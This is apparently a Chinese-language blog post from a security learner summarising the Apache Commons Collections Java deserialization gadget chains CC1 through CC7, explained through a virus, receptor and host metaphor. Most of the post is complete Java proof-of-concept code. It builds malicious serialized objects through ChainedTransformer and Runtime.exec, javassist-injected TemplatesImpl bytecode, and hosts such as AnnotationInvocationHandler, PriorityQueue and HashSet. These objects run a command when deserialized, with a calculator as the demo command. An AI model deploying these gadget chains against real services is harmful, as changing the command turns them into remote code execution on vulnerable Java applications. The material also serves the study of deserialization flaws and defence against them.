JAVA序列化利用学习:CommonsCollections系列方法总结

本文主要是对Apache CommonsCollections系列的利用方法进行了总结。由于网上已经有太多的分析文章,故未对技术原理做较深入的分析,仅仅是以总结方法为目的。
Apache CommonCollections1-7的利用方法总结如下:

  1. 第一步 准备病毒
  2. 第二步 寻找受体
  3. 第三步 病毒填充到宿主

关于第一步,主要有两种方法:

  1. ChainedTransformer 构造
  2. javassist动态编程生成一个执行命令的类。转化成byte[]类型,填充到某些类(TemplatesImpl)中的“_bytecodes”变量里

关于第二步,主要有两种方法:

  1. 三大Map:LazyMap,TiedMapEntry,HashMap ,对应第一步的第一种方法。
  2. TemplatesImpl类种的_bytecodes可被填充恶意类。对应第一步的第二种方法。

关于第三步,就是用反射把病毒填充到vulnerable的类中,readObject的时候触发病毒。


下面简单了解一下第一步的原理。

通过ChainedTransformer 构造病毒的demo:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {
	public static void main(String[] args) {
		Transformer[] transformers = new Transformer[] {
				/*
				 * ConstantTransformer: Transformer implementation that returns the same
				 * constant each time.(把一个对象转化为常量,并返回)
				 */
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" }) };
		// Runtime.getRuntime().exec("calc");
		/*
		 * ChainedTransformer: Transformer implementation that chains the specified
		 * transformers together. (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
		 */
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform(null);
	}
}

最终 transform() 方法 会在Gnome桌面环境下的kali中弹出计算器。

关于为什么要用ChainedTransformer,引用《浅析 Java 序列化和反序列化》(当中的说法是“通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。”

通过javassist动态编程生成一个执行命令的类的demo:

import java.io.IOException;

import com.hans.CommonCollection2.CommonsCollections2.Placeholder;

import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class Javassist {

	public static class Hello {
	    public void say() {
	        System.out.println("Hello");
	    }
	}
	
	public static void main(String[] args) throws CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
		// TODO Auto-generated method stub
		String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
		
		ClassPool cp = ClassPool.getDefault();
		cp.insertClassPath(new ClassClassPath(Placeholder.class));
		cp.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
		CtClass cc = cp.get(Hello.class.getName());
		cc.setSuperclass(cp.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
		cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
		// 3.设置一个唯一性的class名称
		cc.setName("com.hans.CommonCollections." + System.currentTimeMillis());

		Class c = cc.toClass();
        Hello h = (Hello)c.newInstance();
        //h.say();
	}
}

通过一个demo理解第二步的受体是干嘛的

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class ChainedTransformerTest {
	public static void main(String[] args) {
	   Transformer[] transformers = new Transformer[]{
		/*
		 * ConstantTransformer:
		 * Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
		 * */
		   new ConstantTransformer(Runtime.class),
		   new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
		   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
		   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
	  };
	  //Runtime.getRuntime().exec("calc");
	   /*
	    * ChainedTransformer:
	    * Transformer implementation that chains the specified transformers together.
	    * (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
	    * */
	  Transformer chainedTransformer = new ChainedTransformer(transformers);
	  
	  // code execute;
	  //chainedTransformer.transform(null);
	  
	  Map inMap = new HashMap();
	  inMap.put("key", "value");
	  Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
	  /*
	   * Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。
	   * */
	  for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
	      Map.Entry entry = (Map.Entry) iterator.next();
	      entry.setValue("123");
	  }
		
	}
}

在entry.setValue(“123”);处下断点,可以看到,当恶意的chainedTransformer通过decorate()方法填入Map对象后,在进行Map的setValue操作时,会触发transform()方法,触发代码执行。

但是受体的setValue()方法也是需要触发的,因此需要一个可以通过readObject()触发病毒的宿主。


由于CommonsCollections 1-7思路都差不多,都可以套公式(三步走),所以只分析CommonsCollections1,其他的 用上面提到的方法过一下。
下面看具体代码。
CommonsCollections1.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
        
        /*第三步 填充病毒*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

在 ois.readObject(); 处下断点。Object obj = readObject0(false); 跟进

TC_OBJECT条件跟进:

readSerialData(obj, desc);跟进

在这个方法里就是遍历处理Object对象
slotDesc.invokeReadObject(obj, this); 跟进,其他可以一路F6

直到进入我们的主角,宿主AnnotationInvocationHandler

果然在readObject中有对Map对象的操作。
当进入AnnotationInvocationHandler的invoke方法,跟进Object var6 = this.memberValues.get(var4);
嗯,然后就是触发病毒的transform()了。

图中 iTransformers 就是用反射填充进AnnotationInvocationHandler的恶意链。
这里的LazyMap其实就像是病毒的受体一样,就像是最近新冠病毒最先感染人的肺部一样。
而AnnotationInvocationHandler就像是人体一样,里面装的感染的LazyMap,执行序列化工作的时候就会触发肺部激活病毒。

三步总结:

  1. 准备病毒。利用ChainedTransformer制造出可以执行代码的对象
  2. 寻找受体。把病毒填充到LazyMap,这个LazyMap就行人的肺部一样,作为病毒受体。
  3. 填充病毒。把受感染的肺用反射的技术装到宿主(AnnotationInvocationHandler)上。

下面用这个方法把 2-7的POC概括一下:

CommonsCollections2.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        
        /*第一步 准备病毒*/
        
		// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
		// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
        //Javassist包中建立一个容器
        ClassPool classPool = ClassPool.getDefault();
        //添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
        
        //从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
        // 3.设置一个唯一性的class名称
        placeholder.setName("com.hans.CommonCollection2." + System.currentTimeMillis());

        // 4. 把我们的自定义的恶意类转化成byte数组模式
        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        
        // 动态获取 TemplatesImpl 对象
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 反射的方式修改对象
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");

        /*第三步 病毒填充到宿主。*/
        
        // InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
        // comparator 是后续方法调用的参数。
        InvokerTransformer<?, ?> invokerTransformer = new InvokerTransformer<Object, Object>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator<?, ?> comparator = new TransformingComparator<Object, Object>((Transformer<? super Object, ? extends Object>) invokerTransformer);
        PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
        queue.add(1);
        queue.add(1);

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        // 宿主被填充进 PriorityQueue
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

javassist 动态生成病毒,TemplatesImpl作为受体,PriorityQueue作为宿主。

CommonsCollections3.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static class Placeholder implements Serializable {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";

        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");
        
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备载体*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*3.2 寻找受体*/
        // 反射的方法获取一个lazyMap
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        /*第三步 病毒填充到宿主。*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
        
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser"));
        oos.writeObject(obj);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

这一步的话,可以理解为先往细胞(chainedTransformer)内的组织(InstantiateTransformer)填充了病毒,再把受感染的细胞填充到肺部(LazyMap),最后反射到宿主(AnnotationInvocationHandler)。
更像是1和2的综合利用。

CommonsCollections4.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
        
        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 修改templates的_bytecodes变量
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});
        // 修改templates的_name变量
        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*3.2 */
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        
        /*3.3 */
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和CommonsCollections3的思路一模一样,就是技术细节略有不同,宿主由AnnotationInvocationHandler换成了PriorityQueue。

CommonsCollections5.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollections5 {
	//JDK8
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        /*第二步 寻找受体*/
        HashMap<String, String> hashMap = new HashMap<String, String>();
        Map<?, ?> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
        
        /*第三步 病毒填充到宿主。*/
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        // invoke method should have parameter and return value, tiedMapEntry is parameter ,badAttributeValueExpException is return value.
        field.set(badAttributeValueExpException, tiedMapEntry);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        ois.readObject();
        ois.close();
    }
}

可以看到,公式带进去,变的只有宿主(BadAttributeValueExpException)。

CommonsCollections6.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.nqzero.permit.Permit;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
	public static void main(String[] args) throws Exception {
		
		/*第一步 准备病毒*/
        String command = "gnome-calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        final Map innerMap = new HashMap();
        //创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        
        //创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        
        /*第三步 受体填充到宿主。*/
        HashSet map = new HashSet(1);
        map.add("foo");
        
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
        //取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);
        
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

万变不离其中,中学数学老师常说的话。即使POC不太一样,最后思路还是一模一样,LazyMap被包裹在了TiedMapEntry里,最后被反射到宿主(HashSet)身上。

CommonsCollections7.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };
        
        /*第二步 寻找受体*/
        Transformer[] fake = new Transformer[]{
                new ConstantTransformer("placeholder"),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
        
        HashMap innerMap1 = new HashMap<String, String>();
        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
        HashMap innerMap2 = new HashMap<String, String>();
        innerMap2.put("zZ", "1");

        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
        
        /*第三步 病毒填充到宿主。*/
        HashMap hashMap = new HashMap();
        hashMap.put(lazyMap1, "placeholder");
        hashMap.put(lazyMap2, "placeholder");

        // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了 
        // 清除 hash code
        innerMap1.remove("zZ"); 

        // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和之前6个又不太一样,病毒是在最后反射阶段,宿主都已经构建完成了,再反射进宿主的器官当中。三步走的思路还是适用的。

勤洗手可以预防病毒。

参考:
原理
https://paper.seebug.org/792/
https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
https://mp.weixin.qq.com/s/XSv3GNkj-23JKl6ccUjxRQ
POC
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html

Leave a Reply

Your email address will not be published. Required fields are marked *